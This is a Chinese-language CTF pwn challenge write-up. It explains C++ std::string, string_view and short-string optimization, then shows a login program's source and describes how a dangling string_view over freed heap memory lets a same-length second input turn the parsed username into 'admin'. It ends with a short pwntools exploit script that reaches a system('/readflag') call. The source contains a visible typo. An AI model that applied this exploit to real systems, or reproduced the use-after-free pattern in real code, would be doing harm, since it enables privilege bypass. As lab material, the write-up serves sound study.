文章目录
- 参考
- make_pair
- string_view和string
-
-
- [`std::string` 的内部实现和特点](#
std::string
的内部实现和特点) - [`std::string_view` 的内部实现和特点](#
std::string_view
的内部实现和特点) - 例子说明
- [`std::string` 的内部实现和特点](#
-
- [SSO(Short String Optimization)和堆分配](#SSO(Short String Optimization)和堆分配)
- 源码
- 思路
- exp
参考
https://zqy.ink/2023/05/12/dingjiqiandao/
make_pair
该函数的作用是解析用户输入的登录信息。这里使用的make_pair
是C++标准库中的一个函数,用于创建一个std::pair
对象。std::pair
是一个模板类,可以用来同时存储两个相关的值,通常这两个值可以是不同类型。
具体到这行代码中:
cpp
return make_pair(tok_ring[0], tok_ring[1]);
-
tok_ring
是一个由splitToken
函数返回的std::vector<std::string_view>
,其中存储了通过特定分隔符(在这个案例中是冒号:
)分隔的字符串片段。tok_ring[0]
代表第一个片段(通常是用户名),tok_ring[1]
代表第二个片段(通常是密码)。 -
make_pair
函数接收这两个字符串片段作为参数,创建一个新的std::pair
对象,其中第一个元素是tok_ring[0]
(用户名),第二个元素是tok_ring[1]
(密码)。
return make_pair(tok_ring[0], tok_ring[1]);
这一行的作用是将解析出来的用户名和密码打包成一个std::pair
对象并作为parseUser
函数的返回值。
string_view和string
std::string
的内部实现和特点
std::string
是一个封装了动态数组的类,用于存储和操作字符串。它的内部结构通常包含以下组件:
- 字符指针:一个指向动态分配的字符数组的指针,存储字符串的实际内容。
- 长度:一个成员变量,记录当前字符串的实际长度(字符数量,不含末尾的空字符)。
- 容量:通常还有一个成员变量记录当前分配的总内存大小,以备字符串增长时使用,避免频繁的内存重新分配。
- 管理机制 :
std::string
负责动态内存的分配和释放,包括自动增长策略(当字符串增加时自动扩展内存容量)和深拷贝(复制或赋值时复制内容)。
std::string_view
的内部实现和特点
相比之下,std::string_view
是一个轻量级的字符串视图类,它不拥有字符串的内存,而是一个对现有字符串的引用。其内部结构相对简单:
- 字符指针 :一个指向字符串数据的
const char*
或const CharT*
指针,指向外部存储的字符串起始位置。 - 长度 :一个成员变量,记录
string_view
所引用的字符串长度。
string_view
的设计理念是零成本的字符串引用,它不涉及内存管理,不对字符串进行拷贝,仅提供对已存在字符串的视图。它能够提升效率,特别是在处理字符串操作频繁或需要避免不必要的字符串复制时。
例子说明
假设我们有一个函数需要统计字符串中某个字符出现的次数:
-
使用
std::string
:
cpp std::string str = "Hello, World!"; std::size_t count = std::count(str.begin(), str.end(), 'o');
这里,即使传入的是一个临时的字符串字面量,str也会在栈上创建一个副本。
-
使用
std::string_view
:
cpp std::string_view view = "Hello, View!"; std::size_t count = std::count(view.begin(), view.end(), 'e');
string_view`直接引用了原字符串数据,没有额外的内存分配或复制操作,效率更高。
总结,std::string
提供了完全的字符串管理,包括内存分配和所有权,适合需要修改字符串或独立存储字符串数据的场景。而std::string_view
作为一个高效的只读视图,适用于不需要修改字符串且希望避免拷贝开销的场合。
SSO(Short String Optimization)和堆分配
以下是一个基础的、概念性的string内部结构示意图:
cpp
template<typename CharT, typename Traits, typename Allocator>
class basic_string {
private:
union {
struct {
// 指向堆上分配的字符串数据的指针(如果未使用SSO)
CharT* ptr;
// 字符串长度(不包括终止的空字符)
size_t length;
// 总容量(包括已使用的和未使用的,仅当在堆上分配时有意义)
size_t capacity;
};
// 内部缓冲区,用于SSO(假设大小为N,N通常由实现决定,例如15或22)
CharT small_buffer[N];
};
// 一个或几个比特位用于标记是否使用SSO
bool is_short_string : 1;
// 其他成员和方法...
};
basic_string
类通过一个联合体(union
)来实现SSO。联合体允许同一块内存区域以不同的数据类型被解释。当字符串较短,满足SSO条件时,字符串数据直接存储在small_buffer
中,此时ptr
、length
、和capacity
字段不被使用。is_short_string
标志位用来指示当前std::string
对象是否使用了SSO。如果字符串超过了SSO的长度限制,ptr
将指向堆上分配的字符串数据,而length
和capacity
则记录字符串的实际长度和分配的总容量。
源码
cpp
#include <iostream>
#include <string>
#include <vector>
#include <exception>
#include <string_view>
#include <unordered_map>
#include <functional>
using namespace std;
string getInput()
{
string res;
getline(cin, res);
//输入一行
if (res.size() > 64)//判断size
throw std::runtime_error("Invalid input");
while (!res.empty() && res.back() == '\n')
res.pop_back();//不断判断字符最后一个字符是否是\n并且判断是否为空,如果不空并且最后一个字符为\n就会pop出去
return res;
}
bool allow_admin = false;
auto splitToken(string_view str, string_view delim)
{
if (!allow_admin && str.find("admin") != str.npos)
//find、rfind等函数,如果没有找到目标子串,这些函数就会返回npos,通知调用者没有找到匹配。
throw std::invalid_argument("Access denied");
vector<string_view> res;
size_t prev = 0, pos = 0;
do
{
pos = str.find(delim, prev);
if (pos == std::string::npos)//没有找到分隔符
{
pos = str.length();
}
res.push_back(str.substr(prev, pos - prev));//截断从开始位置到分隔符的位置
prev = pos + delim.length();//更新起始位置
} while (pos < str.length() && prev < str.length());
return res;
}
auto parseUser()
{
auto tok_ring = splitToken(getInput(), ":");//以:分隔
if (tok_ring.size() != 2)
throw std::invalid_argument("Bad login token");
if (tok_ring[0].size() < 4 || tok_ring[0].size() > 16)//login name的长度限制
throw std::invalid_argument("Bad login name");
if (tok_ring[1].size() > 32) //login password长度限制
throw std::invalid_argument("Bad login password");
return make_pair(tok_ring[0], tok_ring[1]);
}
const unordered_map<string_view, function<void(string_vie)w> > handle_admin = {
{"admin", [](auto)
{
system("/readflag");
}},
{"?", [](auto)
{
cout << "Enjoy :)" << endl;
cout << "https://www.bilibili.com/video/BV1Nx411S7VG" << endl;
}}};
constexpr auto handle_guest = [](auto)
{
cout << "Hello guest!" << endl;
};
int main()
{
auto [username, password] = parseUser();
cout << "Enter 'login' to continue, or enter 'quit' to cancel." << endl;
auto choice = getInput();
if (choice == "quit")
{
cout << "bye" << endl;
return 0;
}
if (auto it = handle_admin.find(username); it != handle_admin.end())
//根据一开始的parseUser中得到username来寻找处理函数
//由于parseUser不允许admain,所以要想办法绕过
{
it->second(password);
//寻找键,如果不是最后一个键即?就调用寻找到的键对应的函数
}
else
{
handle_guest(password);
}
}
思路
- parseUser中使用string_view来接收getInput得到的string对象,如果string对象创建时候字符足够长,会使用堆分配来存储字符串,当parseUser结束时,string对象会调用析构函数,free掉堆,但string_view依然存储着对应在堆上的字符串指针
- parseUser最后得到的事两个string_view对象,并且他们的指针都是已经free掉的堆上的chunk指针
- 此时接下来又会getInput,此时输入内容过长也会导致在堆上分配,如果合适,那么可以和之前析构函数free掉的堆重合,进而得到修改之前堆上的内容,而string_view对象他们的指针正好是已经free掉的堆上的chunk指针
- 由于之前分隔parseUser,导致两个string_view对象他们的指针的位置能够指向在堆上对应的内容(username: password),所以如果此时新输入的长度和之前一样,格式和之前一样,就能保证输入的内容的username部分被识别admain,进而绕过上面的对admain的检查
exp
python
from pwn import *
p=process('./pwn')
p.sendline(b'aaaaa:'+b'a'*32)
p.sendlineafter(b'cancel',b'admin'+b'a'*33)
# aaaaa和admin都是五个字节,使得string_view对象保存的字符串从aaaaa识别为admin
p.interactive()